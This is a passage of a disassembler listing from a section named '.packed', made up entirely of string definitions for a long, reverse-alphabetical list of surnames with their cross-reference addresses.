aJohannesson db 'Johannesson',0 ; DATA XREF: .packed:0042E1C8o aJewett db 'Jewett',0 ; DATA XREF: .packed:0042E1C4o align 4 aJespersen db 'Jespersen',0 ; DATA XREF: .packed:0042E1C0o align 4 aJenkins db 'Jenkins',0 ; DATA XREF: .packed:0042E1BCo aJellis db 'Jellis',0 ; DATA XREF: .packed:0042E1B8o align 4 aJeffers db 'Jeffers',0 ; DATA XREF: .packed:0042E1B4o aJay db 'Jay',0 ; DATA XREF: .packed:0042E1B0o aJarrell db 'Jarrell',0 ; DATA XREF: .packed:0042E1ACo aJarnagin db 'Jarnagin',0 ; DATA XREF: .packed:0042E1A8o align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: .packed:0042E1A4o align 4 aJamil db 'Jamil',0 ; DATA XREF: .packed:0042E1A0o align 4 aJain db 'Jain',0 ; DATA XREF: .packed:0042E19Co align 4 aJagoe db 'Jagoe',0 ; DATA XREF: .packed:0042E198o align 4 aJagger db 'Jagger',0 ; DATA XREF: .packed:0042E194o align 4 aJagers db 'Jagers',0 ; DATA XREF: .packed:0042E190o align 4 aJackson db 'Jackson',0 ; DATA XREF: .packed:0042E18Co aJacenko db 'Jacenko',0 ; DATA XREF: .packed:0042E188o aIyer db 'Iyer',0 ; DATA XREF: .packed:0042E184o align 4 aIsserman db 'Isserman',0 ; DATA XREF: .packed:0042E180o align 10h aIsbill db 'Isbill',0 ; DATA XREF: .packed:0042E17Co align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: .packed:0042E178o align 4 aIsaac db 'Isaac',0 ; DATA XREF: .packed:0042E174o align 4 aInniss db 'Inniss',0 ; DATA XREF: .packed:0042E170o align 4 aInamura db 'Inamura',0 ; DATA XREF: .packed:0042E16Co aIgarashi db 'Igarashi',0 ; DATA XREF: .packed:0042E168o align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: .packed:0042E164o align 4 aIaquinta db 'Iaquinta',0 ; DATA XREF: .packed:0042E160o align 10h aHyde db 'Hyde',0 ; DATA XREF: .packed:0042E15Co align 4 aHutchings db 'Hutchings',0 ; DATA XREF: .packed:0042E158o align 4 aHurtubise db 'Hurtubise',0 ; DATA XREF: .packed:0042E154o align 10h aHupp db 'Hupp',0 ; DATA XREF: .packed:0042E150o align 4 aHuntington db 'Huntington',0 ; DATA XREF: .packed:0042E14Co align 4 aHungerford db 'Hungerford',0 ; DATA XREF: .packed:0042E148o align 10h aHuidekoper db 'Huidekoper',0 ; DATA XREF: .packed:0042E144o align 4 aHuey db 'Huey',0 ; DATA XREF: .packed:0042E140o align 4 aHoy db 'Hoy',0 ; DATA XREF: .packed:0042E13Co aHoward db 'Howard',0 ; DATA XREF: .packed:0042E138o align 10h aHottle db 'Hottle',0 ; DATA XREF: .packed:0042E134o align 4 aHostage db 'Hostage',0 ; DATA XREF: .packed:0042E130o aHoshida db 'Hoshida',0 ; DATA XREF: .packed:0042E12Co aHorsley db 'Horsley',0 ; DATA XREF: .packed:0042E128o aHopkins db 'Hopkins',0 ; DATA XREF: .packed:0042E124o aHooker db 'Hooker',0 ; DATA XREF: .packed:0042E120o align 10h aHolzman db 'Holzman',0 ; DATA XREF: .packed:0042E11Co aHolway db 'Holway',0 ; DATA XREF: .packed:0042E118o align 10h aHolter db 'Holter',0 ; DATA XREF: .packed:0042E114o align 4 aHoloien db 'Holoien',0 ; DATA XREF: .packed:0042E110o aHolmes db 'Holmes',0 ; DATA XREF: .packed:0042E10Co align 4 aHokoda db 'Hokoda',0 ; DATA XREF: .packed:0042E108o align 10h aHokanson db 'Hokanson',0 ; DATA XREF: .packed:0042E104o align 4 aHoffman db 'Hoffman',0 ; DATA XREF: .packed:0042E100o aHoffer db 'Hoffer',0 ; DATA XREF: .packed:0042E0FCo align 4 aHock db 'Hock',0 ; DATA XREF: .packed:0042E0F8o align 4 aHoang db 'Hoang',0 ; DATA XREF: .packed:0042E0F4o align 4 aHitchcock db 'Hitchcock',0 ; DATA XREF: .packed:0042E0F0o align 4 aHirst db 'Hirst',0 ; DATA XREF: .packed:0042E0ECo align 10h aHind db 'Hind',0 ; DATA XREF: .packed:0042E0E8o align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: .packed:0042E0E4o align 4 aHeyeck db 'Heyeck',0 ; DATA XREF: .packed:0042E0E0o align 4 aHeubert db 'Heubert',0 ; DATA XREF: .packed:0042E0DCo aHester db 'Hester',0 ; DATA XREF: .packed:0042E0D8o align 4 aHerrera db 'Herrera',0 ; DATA XREF: .packed:0042E0D4o aHernandez db 'Hernandez',0 ; DATA XREF: .packed:0042E0D0o align 10h aHenrichs db 'Henrichs',0 ; DATA XREF: .packed:0042E0CCo align 4 aHenery db 'Henery',0 ; DATA XREF: .packed:0042E0C8o align 4 aHemphill db 'Hemphill',0 ; DATA XREF: .packed:0042E0C4o align 10h aHelprin db 'Helprin',0 ; DATA XREF: .packed:0042E0C0o aHellmiss db 'Hellmiss',0 ; DATA XREF: .packed:0042E0BCo align 4 aHellman db 'Hellman',0 ; DATA XREF: .packed:0042E0B8o aHeiland db 'Heiland',0 ; DATA XREF: .packed:0042E0B4o aHeft db 'Heft',0 ; DATA XREF: .packed:0042E0B0o align 4 aHeermans db 'Heermans',0 ; DATA XREF: .packed:0042E0ACo align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: .packed:0042E0A8o align 4 aHaynes db 'Haynes',0 ; DATA XREF: .packed:0042E0A4o align 4 aHayes db 'Hayes',0 ; DATA XREF: .packed:0042E0A0o align 4 aHawkes db 'Hawkes',0 ; DATA XREF: .packed:0042E09Co align 4 aHaviaras db 'Haviaras',0 ; DATA XREF: .packed:0042E098o align 4 aHarwell db 'Harwell',0 ; DATA XREF: .packed:0042E094o aHartnett db 'Hartnett',0 ; DATA XREF: .packed:0042E090o align 4 aHartmann db 'Hartmann',0 ; DATA XREF: .packed:0042E08Co align 4 aHartman db 'Hartman',0 ; DATA XREF: .packed:0042E088o aHarrigan db 'Harrigan',0 ; DATA XREF: .packed:0042E084o align 4 aHarlow db 'Harlow',0 ; DATA XREF: .packed:0042E080o align 4 aHargraves db 'Hargraves',0 ; DATA XREF: .packed:0042E07Co align 10h aHarding db 'Harding',0 ; DATA XREF: .packed:0042E078o aHanssen db 'Hanssen',0 ; DATA XREF: .packed:0042E074o aHand db 'Hand',0 ; DATA XREF: .packed:0042E070o align 4 aHammerness db 'Hammerness',0 ; DATA XREF: .packed:0042E06Co align 4 aHamer db 'Hamer',0 ; DATA XREF: .packed:0042E068o align 4 aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: .packed:0042E064o align 4 aHalpert db 'Halpert',0 ; DATA XREF: .packed:0042E060o aHallowell db 'Hallowell',0 ; DATA XREF: .packed:0042E05Co align 10h aHalkias db 'Halkias',0 ; DATA XREF: .packed:0042E058o aHaley db 'Haley',0 ; DATA XREF: .packed:0042E054o align 10h aHackshaw db 'Hackshaw',0 ; DATA XREF: .packed:0042E050o align 4 aHackman db 'Hackman',0 ; DATA XREF: .packed:0042E04Co aHaar db 'Haar',0 ; DATA XREF: .packed:0042E048o align 4 aHa db 'Ha',0 ; DATA XREF: .packed:0042E044o align 10h aGuo db 'Guo',0 ; DATA XREF: .packed:0042E040o aGunn db 'Gunn',0 ; DATA XREF: .packed:0042E03Co align 4 aGuenthart db 'Guenthart',0 ; DATA XREF: .packed:0042E038o align 4 aGruppe db 'Gruppe',0 ; DATA XREF: .packed:0042E034o align 10h aGruner db 'Gruner',0 ; DATA XREF: .packed:0042E030o align 4 aGrummell db 'Grummell',0 ; DATA XREF: .packed:0042E02Co align 4 aGrigoletto db 'Grigoletto',0 ; DATA XREF: .packed:0042E028o align 10h aGriffiths db 'Griffiths',0 ; DATA XREF: .packed:0042E024o align 4 aGreenfeld db 'Greenfeld',0 ; DATA XREF: .packed:0042E020o align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: .packed:0042E01Co align 4 aGravell db 'Gravell',0 ; DATA XREF: .packed:0042E018o aGozzi db 'Gozzi',0 ; DATA XREF: .packed:0042E014o align 4 aGoody db 'Goody',0 ; DATA XREF: .packed:0042E010o align 4 aGoodearl db 'Goodearl',0 ; DATA XREF: .packed:0042E00Co align 4 aGood db 'Good',0 ; DATA XREF: .packed:0042E008o align 10h aGoncalves db 'Goncalves',0 ; DATA XREF: .packed:0042E004o align 4 aGoldfarb db 'Goldfarb',0 ; DATA XREF: .packed:0042E000o align 4 aGlendon db 'Glendon',0 ; DATA XREF: .packed:0042DFFCo aGlegg db 'Glegg',0 ; DATA XREF: .packed:0042DFF8o align 4 aGleason db 'Gleason',0 ; DATA XREF: .packed:0042DFF4o aGist db 'Gist',0 ; DATA XREF: .packed:0042DFF0o align 4 aGillispie db 'Gillispie',0 ; DATA XREF: .packed:0042DFECo align 4 aGill db 'Gill',0 ; DATA XREF: .packed:0042DFE8o align 4 aGili db 'Gili',0 ; DATA XREF: .packed:0042DFE4o align 4 aGilbert db 'Gilbert',0 ; DATA XREF: .packed:0042DFE0o aGibson db 'Gibson',0 ; DATA XREF: .packed:0042DFDCo align 4 aGibbens db 'Gibbens',0 ; DATA XREF: .packed:0042DFD8o aGhorai db 'Ghorai',0 ; DATA XREF: .packed:0042DFD4o align 4 aGerrett db 'Gerrett',0 ; DATA XREF: .packed:0042DFD0o aGeorgi db 'Georgi',0 ; DATA XREF: .packed:0042DFCCo align 4 aGemberling db 'Gemberling',0 ; DATA XREF: .packed:0042DFC8o align 10h aGeller db 'Geller',0 ; DATA XREF: .packed:0042DFC4o align 4 aGaronna db 'Garonna',0 ; DATA XREF: .packed:0042DFC0o aGarman db 'Garman',0 ; DATA XREF: .packed:0042DFBCo align 4 aGarfield db 'Garfield',0 ; DATA XREF: .packed:0042DFB8o align 4 aGambini db 'Gambini',0 ; DATA XREF: .packed:0042DFB4o aGalwey db 'Galwey',0 ; DATA XREF: .packed:0042DFB0o align 4 aGaleotti db 'Galeotti',0 ; DATA XREF: .packed:0042DFACo align 10h aGaggiotti db 'Gaggiotti',0 ; DATA XREF: .packed:0042DFA8o align 4 aGabrielli db 'Gabrielli',0 ; DATA XREF: .packed:0042DFA4o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: .packed:0042DFA0o align 10h aFurth db 'Furth',0 ; DATA XREF: .packed:0042DF9Co align 4 aFuller db 'Fuller',0 ; DATA XREF: .packed:0042DF98o align 10h aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: .packed:0042DF94o align 4 aFrye db 'Frye',0 ; DATA XREF: .packed:0042DF90o align 4 aFryberger db 'Fryberger',0 ; DATA XREF: .packed:0042DF8Co align 10h aFrowiss db 'Frowiss',0 ; DATA XREF: .packed:0042DF88o aFrisken db 'Frisken',0 ; DATA XREF: .packed:0042DF84o aFriedland db 'Friedland',0 ; DATA XREF: .packed:0042DF80o align 4 aFried db 'Fried',0 ; DATA XREF: .packed:0042DF7Co align 4 aFreundlich db 'Freundlich',0 ; DATA XREF: .packed:0042DF78o align 10h aFreid db 'Freid',0 ; DATA XREF: .packed:0042DF74o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: .packed:0042DF70o align 4 aFranz db 'Franz',0 ; DATA XREF: .packed:0042DF6Co align 10h aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: .packed:0042DF68o align 10h aFrancisco db 'Francisco',0 ; DATA XREF: .packed:0042DF64o align 4 aFossi db 'Fossi',0 ; DATA XREF: .packed:0042DF60o align 4 aFossey db 'Fossey',0 ; DATA XREF: .packed:0042DF5Co align 4 aFortier db 'Fortier',0 ; DATA XREF: .packed:0042DF58o aFortes db 'Fortes',0 ; DATA XREF: .packed:0042DF54o align 4 aForester db 'Forester',0 ; DATA XREF: .packed:0042DF50o align 4 aFolks db 'Folks',0 ; DATA XREF: .packed:0042DF4Co align 10h aFlores db 'Flores',0 ; DATA XREF: .packed:0042DF48o align 4 aFlier db 'Flier',0 ; DATA XREF: .packed:0042DF44o align 10h aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: .packed:0042DF40o aFisk db 'Fisk',0 ; DATA XREF: .packed:0042DF3Co align 4 aFiorina db 'Fiorina',0 ; DATA XREF: .packed:0042DF38o aFinnegan db 'Finnegan',0 ; DATA XREF: .packed:0042DF34o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: .packed:0042DF30o aFink db 'Fink',0 ; DATA XREF: .packed:0042DF2Co align 4 aField db 'Field',0 ; DATA XREF: .packed:0042DF28o align 4 aFido db 'Fido',0 ; DATA XREF: .packed:0042DF24o align 4 aFeuer db 'Feuer',0 ; DATA XREF: .packed:0042DF20o align 4 aFerriell db 'Ferriell',0 ; DATA XREF: .packed:0042DF1Co align 10h aFerrante db 'Ferrante',0 ; DATA XREF: .packed:0042DF18o align 4 aFernandes db 'Fernandes',0 ; DATA XREF: .packed:0042DF14o align 4 aFernald db 'Fernald',0 ; DATA XREF: .packed:0042DF10o aFeldman db 'Feldman',0 ; DATA XREF: .packed:0042DF0Co aFejzo db 'Fejzo',0 ; DATA XREF: .packed:0042DF08o align 10h aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: .packed:0042DF04o align 4 aFates db 'Fates',0 ; DATA XREF: .packed:0042DF00o align 4 aFasso db 'Fasso',27h,0 ; DATA XREF: .packed:0042DEFCo align 4 aFarren db 'Farren',0 ; DATA XREF: .packed:0042DEF8o align 4 aFarone db 'Farone',0 ; DATA XREF: .packed:0042DEF4o align 4 aFaris db 'Faris',0 ; DATA XREF: .packed:0042DEF0o align 4 aFalorsi db 'Falorsi',0 ; DATA XREF: .packed:0042DEECo aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: .packed:0042DEE8o align 4 aFaioes db 'Faioes',0 ; DATA XREF: .packed:0042DEE4o align 4 aFagan db 'Fagan',0 ; DATA XREF: .packed:0042DEE0o align 4 aFabbris db 'Fabbris',0 ; DATA XREF: .packed:0042DEDCo aEverett db 'Everett',0 ; DATA XREF: .packed:0042DED8o aEuripides db 'Euripides',0 ; DATA XREF: .packed:0042DED4o align 4 aEtter db 'Etter',0 ; DATA XREF: .packed:0042DED0o align 10h aEstes db 'Estes',0 ; DATA XREF: .packed:0042DECCo align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: .packed:0042DEC8o align 4 aErez db 'Erez',0 ; DATA XREF: .packed:0042DEC4o align 4 aErdos db 'Erdos',0 ; DATA XREF: .packed:0042DEC0o align 4 aErdman db 'Erdman',0 ; DATA XREF: .packed:0042DEBCo align 4 aErbach db 'Erbach',0 ; DATA XREF: .packed:0042DEB8o align 4 aEppling db 'Eppling',0 ; DATA XREF: .packed:0042DEB4o aEnyeart db 'Enyeart',0 ; DATA XREF: .packed:0042DEB0o aEncinas db 'Encinas',0 ; DATA XREF: .packed:0042DEACo aElvis db 'Elvis',0 ; DATA XREF: .packed:0042DEA8o align 4 aElmerick db 'Elmerick',0 ; DATA XREF: .packed:0042DEA4o align 10h aElmendorf db 'Elmendorf',0 ; DATA XREF: .packed:0042DEA0o align 4 aEliasson db 'Eliasson',0 ; DATA XREF: .packed:0042DE9Co align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: .packed:0042DE98o aEdward db 'Edward',0 ; DATA XREF: .packed:0042DE94o align 4 aEdner db 'Edner',0 ; DATA XREF: .packed:0042DE90o align 4 aEdley db 'Edley',0 ; DATA XREF: .packed:0042DE8Co align 4 aEckel db 'Eckel',0 ; DATA XREF: .packed:0042DE88o align 4 aEbeling db 'Ebeling',0 ; DATA XREF: .packed:0042DE84o aEardley db 'Eardley',0 ; DATA XREF: .packed:0042DE80o aDwyer db 'Dwyer',0 ; DATA XREF: .packed:0042DE7Co align 4 aDussault db 'Dussault',0 ; DATA XREF: .packed:0042DE78o align 4 aDurrett db 'Durrett',0 ; DATA XREF: .packed:0042DE74o aDuffin db 'Duffin',0 ; DATA XREF: .packed:0042DE70o align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: .packed:0042DE6Co aDrinker db 'Drinker',0 ; DATA XREF: .packed:0042DE68o aDowsland db 'Dowsland',0 ; DATA XREF: .packed:0042DE64o align 4 aDoug db 'Doug',0 ; DATA XREF: .packed:0042DE60o align 4 aDoty db 'Doty',0 ; DATA XREF: .packed:0042DE5Co align 4 aDosi db 'Dosi',0 ; DATA XREF: .packed:0042DE58o align 4 aDorf db 'Dorf',0 ; DATA XREF: .packed:0042DE54o align 4 aDore db 'Dore',0 ; DATA XREF: .packed:0042DE50o align 4 aDoonan db 'Doonan',0 ; DATA XREF: .packed:0042DE4Co align 4 aDonner db 'Donner',0 ; DATA XREF: .packed:0042DE48o align 4 aDonahue db 'Donahue',0 ; DATA XREF: .packed:0042DE44o aDoherty db 'Doherty',0 ; DATA XREF: .packed:0042DE40o aDockery db 'Dockery',0 ; DATA XREF: .packed:0042DE3Co aDirksen db 'Dirksen',0 ; DATA XREF: .packed:0042DE38o aDionysius db 'Dionysius',0 ; DATA XREF: .packed:0042DE34o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: .packed:0042DE30o align 4 aDifronzo db 'Difronzo',0 ; DATA XREF: .packed:0042DE2Co align 10h aDifabio db 'Difabio',0 ; DATA XREF: .packed:0042DE28o aDiefenbach db 'Diefenbach',0 ; DATA XREF: .packed:0042DE24o align 4 aDicks db 'Dicks',0 ; DATA XREF: .packed:0042DE20o align 4 aDFini db 'D',27h,'fini',0 ; DATA XREF: .packed:0042DE1Co align 4 aDeutsch db 'Deutsch',0 ; DATA XREF: .packed:0042DE18o aDesombre db 'Desombre',0 ; DATA XREF: .packed:0042DE14o align 4 aDenison db 'Denison',0 ; DATA XREF: .packed:0042DE10o aDenham db 'Denham',0 ; DATA XREF: .packed:0042DE0Co align 4 aDenault db 'Denault',0 ; DATA XREF: .packed:0042DE08o aDemusz db 'Demusz',0 ; DATA XREF: .packed:0042DE04o align 4 aDempster db 'Dempster',0 ; DATA XREF: .packed:0042DE00o align 4 aDeming db 'Deming',0 ; DATA XREF: .packed:0042DDFCo align 4 aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: .packed:0042DDF8o align 4 aDelger db 'Delger',0 ; DATA XREF: .packed:0042DDF4o align 10h aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: .packed:0042DDF0o align 10h aDelattre db 'Delattre',0 ; DATA XREF: .packed:0042DDECo align 4 aDefeciani db 'Defeciani',0 ; DATA XREF: .packed:0042DDE8o align 4 aDees db 'Dees',0 ; DATA XREF: .packed:0042DDE4o align 10h aDebroff db 'Debroff',0 ; DATA XREF: .packed:0042DDE0o aDerousse db 'deRousse',0 ; DATA XREF: .packed:0042DDDCo align 4 aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: .packed:0042DDD8o align 10h aDelapena db 'DeLaPena',0 ; DATA XREF: .packed:0042DDD4o align 4 aDegennaro db 'DeGennaro',0 ; DATA XREF: .packed:0042DDD0o align 4 aDawkins db 'Dawkins',0 ; DATA XREF: .packed:0042DDCCo aDavid db 'David',0 ; DATA XREF: .packed:0042DDC8o align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: .packed:0042DDC4o aDasgupta db 'Dasgupta',0 ; DATA XREF: .packed:0042DDC0o align 4 aDas db 'Das',0 ; DATA XREF: .packed:0042DDBCo aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: .packed:0042DDB8o aDapice db 'Dapice',0 ; DATA XREF: .packed:0042DDB4o align 4 aDante db 'Dante',0 ; DATA XREF: .packed:0042DDB0o align 4 aDanieli db 'Danieli',0 ; DATA XREF: .packed:0042DDACo aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: .packed:0042DDA8o aDaly db 'Daly',0 ; DATA XREF: .packed:0042DDA4o align 4 aDaldalian db 'Daldalian',0 ; DATA XREF: .packed:0042DDA0o align 10h aDasilva db 'daSilva',0 ; DATA XREF: .packed:0042DD9Co aCyders db 'Cyders',0 ; DATA XREF: .packed:0042DD98o align 10h aCvek db 'Cvek',0 ; DATA XREF: .packed:0042DD94o align 4 aCutler db 'Cutler',0 ; DATA XREF: .packed:0042DD90o align 10h aCurrier db 'Currier',0 ; DATA XREF: .packed:0042DD8Co aCui db 'Cui',0 ; DATA XREF: .packed:0042DD88o aCroxton db 'Croxton',0 ; DATA XREF: .packed:0042DD84o aCroxen db 'Croxen',0 ; DATA XREF: .packed:0042DD80o align 4 aCroshaw db 'Croshaw',0 ; DATA XREF: .packed:0042DD7Co aCrocker db 'Crocker',0 ; DATA XREF: .packed:0042DD78o aCrawford db 'Crawford',0 ; DATA XREF: .packed:0042DD74o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: .packed:0042DD70o aCounter db 'Counter',0 ; DATA XREF: .packed:0042DD6Co aCosmides db 'Cosmides',0 ; DATA XREF: .packed:0042DD68o align 4 aCornish db 'Cornish',0 ; DATA XREF: .packed:0042DD64o aCorey db 'Corey',0 ; DATA XREF: .packed:0042DD60o align 4 aConnors db 'Connors',0 ; DATA XREF: .packed:0042DD5Co aCondodina db 'Condodina',0 ; DATA XREF: .packed:0042DD58o align 4 aConcino db 'Concino',0 ; DATA XREF: .packed:0042DD54o aComstock db 'Comstock',0 ; DATA XREF: .packed:0042DD50o align 4 aCompton db 'Compton',0 ; DATA XREF: .packed:0042DD48o ; .packed:0042DD4Co aCollis db 'Collis',0 ; DATA XREF: .packed:0042DD44o align 4 aCollard db 'Collard',0 ; DATA XREF: .packed:0042DD40o aColella db 'Colella',0 ; DATA XREF: .packed:0042DD3Co aColdren db 'Coldren',0 ; DATA XREF: .packed:0042DD38o aCoito db 'Coito',0 ; DATA XREF: .packed:0042DD34o align 4 aCoblenz db 'Coblenz',0 ; DATA XREF: .packed:0042DD30o aClow db 'Clow',0 ; DATA XREF: .packed:0042DD2Co align 4 aClifton db 'Clifton',0 ; DATA XREF: .packed:0042DD28o aClement db 'Clement',0 ; DATA XREF: .packed:0042DD24o aClark db 'Clark',0 ; DATA XREF: .packed:0042DD20o align 4 aClancy db 'Clancy',0 ; DATA XREF: .packed:0042DD1Co align 4 aClaffey db 'Claffey',0 ; DATA XREF: .packed:0042DD18o aCifarelli db 'Cifarelli',0 ; DATA XREF: .packed:0042DD14o align 10h aCicero db 'Cicero',0 ; DATA XREF: .packed:0042DD10o align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: .packed:0042DD0Co align 4 aChurch db 'Church',0 ; DATA XREF: .packed:0042DD08o align 4 aChupasko db 'Chupasko',0 ; DATA XREF: .packed:0042DD04o align 4 aChu db 'Chu',0 ; DATA XREF: .packed:0042DD00o aChristopher db 'Christopher',0 ; DATA XREF: .packed:0042DCFCo aChristie db 'Christie',0 ; DATA XREF: .packed:0042DCF8o align 4 aChristiano db 'Christiano',0 ; DATA XREF: .packed:0042DCF4o align 10h aChristian db 'Christian',0 ; DATA XREF: .packed:0042DCF0o align 4 aChristenson db 'Christenson',0 ; DATA XREF: .packed:0042DCECo aChinman db 'Chinman',0 ; DATA XREF: .packed:0042DCE8o aChinipardaz db 'Chinipardaz',0 ; DATA XREF: .packed:0042DCE4o aChilds db 'Childs',0 ; DATA XREF: .packed:0042DCE0o align 4 aChildress db 'Childress',0 ; DATA XREF: .packed:0042DCDCo align 10h aChien db 'Chien',0 ; DATA XREF: .packed:0042DCD8o align 4 aChiassino db 'Chiassino',0 ; DATA XREF: .packed:0042DCD4o align 4 aChervinsky db 'Chervinsky',0 ; DATA XREF: .packed:0042DCD0o align 10h aCherry db 'Cherry',0 ; DATA XREF: .packed:0042DCCCo align 4 aCheang db 'Cheang',0 ; DATA XREF: .packed:0042DCC8o align 10h aCharles db 'Charles',0 ; DATA XREF: .packed:0042DCC4o aChapman db 'Chapman',0 ; DATA XREF: .packed:0042DCC0o aCerioli db 'Cerioli',0 ; DATA XREF: .packed:0042DCBCo aCeniceros db 'Ceniceros',0 ; DATA XREF: .packed:0042DCB8o align 4 aCavell db 'Cavell',0 ; DATA XREF: .packed:0042DCB4o align 4 aCavanagh db 'Cavanagh',0 ; DATA XREF: .packed:0042DCB0o align 4 aCastelda db 'Castelda',0 ; DATA XREF: .packed:0042DCACo align 4 aCaspar db 'Caspar',0 ; DATA XREF: .packed:0042DCA8o align 4 aCase db 'Case',0 ; DATA XREF: .packed:0042DCA4o align 4 aCascio db 'Cascio',0 ; DATA XREF: .packed:0042DCA0o align 4 aCartmill db 'Cartmill',0 ; DATA XREF: .packed:0042DC9Co align 4 aCarper db 'Carper',0 ; DATA XREF: .packed:0042DC98o align 10h aCaroti db 'Caroti',0 ; DATA XREF: .packed:0042DC94o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: .packed:0042DC90o align 4 aCarlyle db 'Carlyle',0 ; DATA XREF: .packed:0042DC8Co aCarlos db 'Carlos',0 ; DATA XREF: .packed:0042DC88o align 4 aCarlin db 'Carlin',0 ; DATA XREF: .packed:0042DC84o align 4 aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: .packed:0042DC80o aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: .packed:0042DC7Co aCapursi db 'Capursi',0 ; DATA XREF: .packed:0042DC78o aCappuccio db 'Cappuccio',0 ; DATA XREF: .packed:0042DC74o align 4 aCapodilupo db 'Capodilupo',0 ; DATA XREF: .packed:0042DC70o align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: .packed:0042DC6Co align 4 aCaperton db 'Caperton',0 ; DATA XREF: .packed:0042DC68o align 10h aCapanni db 'Capanni',0 ; DATA XREF: .packed:0042DC64o aCanley db 'Canley',0 ; DATA XREF: .packed:0042DC60o align 10h aCammilleri db 'Cammilleri',0 ; DATA XREF: .packed:0042DC5Co align 4 aCammelli db 'Cammelli',0 ; DATA XREF: .packed:0042DC58o align 4 aCalnan db 'Calnan',0 ; DATA XREF: .packed:0042DC54o align 10h aCage db 'Cage',0 ; DATA XREF: .packed:0042DC50o align 4 aByrd db 'Byrd',0 ; DATA XREF: .packed:0042DC4Co align 10h aByerly db 'Byerly',0 ; DATA XREF: .packed:0042DC48o align 4 aByatt db 'Byatt',0 ; DATA XREF: .packed:0042DC44o align 10h aBusetta db 'Busetta',0 ; DATA XREF: .packed:0042DC40o aBurridge db 'Burridge',0 ; DATA XREF: .packed:0042DC3Co align 4 aBurke db 'Burke',0 ; DATA XREF: .packed:0042DC38o align 4 aBurdzy db 'Burdzy',0 ; DATA XREF: .packed:0042DC34o align 4 aBurden db 'Burden',0 ; DATA XREF: .packed:0042DC30o align 4 aBunton db 'Bunton',0 ; DATA XREF: .packed:0042DC2Co align 4 aBullard db 'Bullard',0 ; DATA XREF: .packed:0042DC28o aBudding db 'Budding',0 ; DATA XREF: .packed:0042DC24o aBuchan db 'Buchan',0 ; DATA XREF: .packed:0042DC20o align 4 aBrzycki db 'Brzycki',0 ; DATA XREF: .packed:0042DC1Co aBrook db 'Brook',0 ; DATA XREF: .packed:0042DC18o align 4 aBroca db 'Broca',0 ; DATA XREF: .packed:0042DC14o align 4 aBritz db 'Britz',0 ; DATA XREF: .packed:0042DC10o align 4 aBrinton db 'Brinton',0 ; DATA XREF: .packed:0042DC0Co aBridges db 'Bridges',0 ; DATA XREF: .packed:0042DC08o aBridgeman db 'Bridgeman',0 ; DATA XREF: .packed:0042DC04o align 4 aBrewer db 'Brewer',0 ; DATA XREF: .packed:0042DBFCo ; .packed:0042DC00o align 10h aBrennan db 'Brennan',0 ; DATA XREF: .packed:0042DBF8o aBrenan db 'Brenan',0 ; DATA XREF: .packed:0042DBF4o align 10h aBreed db 'Breed',0 ; DATA XREF: .packed:0042DBF0o align 4 aBrecht db 'Brecht',0 ; DATA XREF: .packed:0042DBECo align 10h aBradach db 'Bradach',0 ; DATA XREF: .packed:0042DBE8o aBradac db 'Bradac',0 ; DATA XREF: .packed:0042DBE4o align 10h aBracalente db 'Bracalente',0 ; DATA XREF: .packed:0042DBE0o align 4 aBoyne db 'Boyne',0 ; DATA XREF: .packed:0042DBDCo align 4 aBoym db 'Boym',0 ; DATA XREF: .packed:0042DBD8o align 4 aBoyland db 'Boyland',0 ; DATA XREF: .packed:0042DBD4o aBoyes db 'Boyes',0 ; DATA XREF: .packed:0042DBD0o align 4 aBoyajian db 'Boyajian',0 ; DATA XREF: .packed:0042DBCCo align 4 aBoxer db 'Boxer',0 ; DATA XREF: .packed:0042DBC8o align 10h aBowers db 'Bowers',0 ; DATA XREF: .packed:0042DBC4o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: .packed:0042DBC0o align 4 aBoudrot db 'Boudrot',0 ; DATA XREF: .packed:0042DBBCo aBoudin db 'Boudin',0 ; DATA XREF: .packed:0042DBB8o align 4 aBotosh db 'Botosh',0 ; DATA XREF: .packed:0042DBB4o align 4 aBothman db 'Bothman',0 ; DATA XREF: .packed:0042DBB0o aBossi db 'Bossi',0 ; DATA XREF: .packed:0042DBACo align 4 aBorden db 'Borden',0 ; DATA XREF: .packed:0042DBA8o align 4 aBorack db 'Borack',0 ; DATA XREF: .packed:0042DBA4o align 4 aBoorstin db 'Boorstin',0 ; DATA XREF: .packed:0042DBA0o align 4 aBoone db 'Boone',0 ; DATA XREF: .packed:0042DB9Co align 10h aBookbinder db 'Bookbinder',0 ; DATA XREF: .packed:0042DB98o align 4 aBook db 'Book',0 ; DATA XREF: .packed:0042DB94o align 4 aBontempo db 'Bontempo',0 ; DATA XREF: .packed:0042DB90o align 10h aBoniface db 'Boniface',0 ; DATA XREF: .packed:0042DB8Co align 4 aBonham db 'Bonham',0 ; DATA XREF: .packed:0042DB88o align 4 aBoner db 'Boner',0 ; DATA XREF: .packed:0042DB84o align 4 aBologna db 'Bologna',0 ; DATA XREF: .packed:0042DB80o aBollinger db 'Bollinger',0 ; DATA XREF: 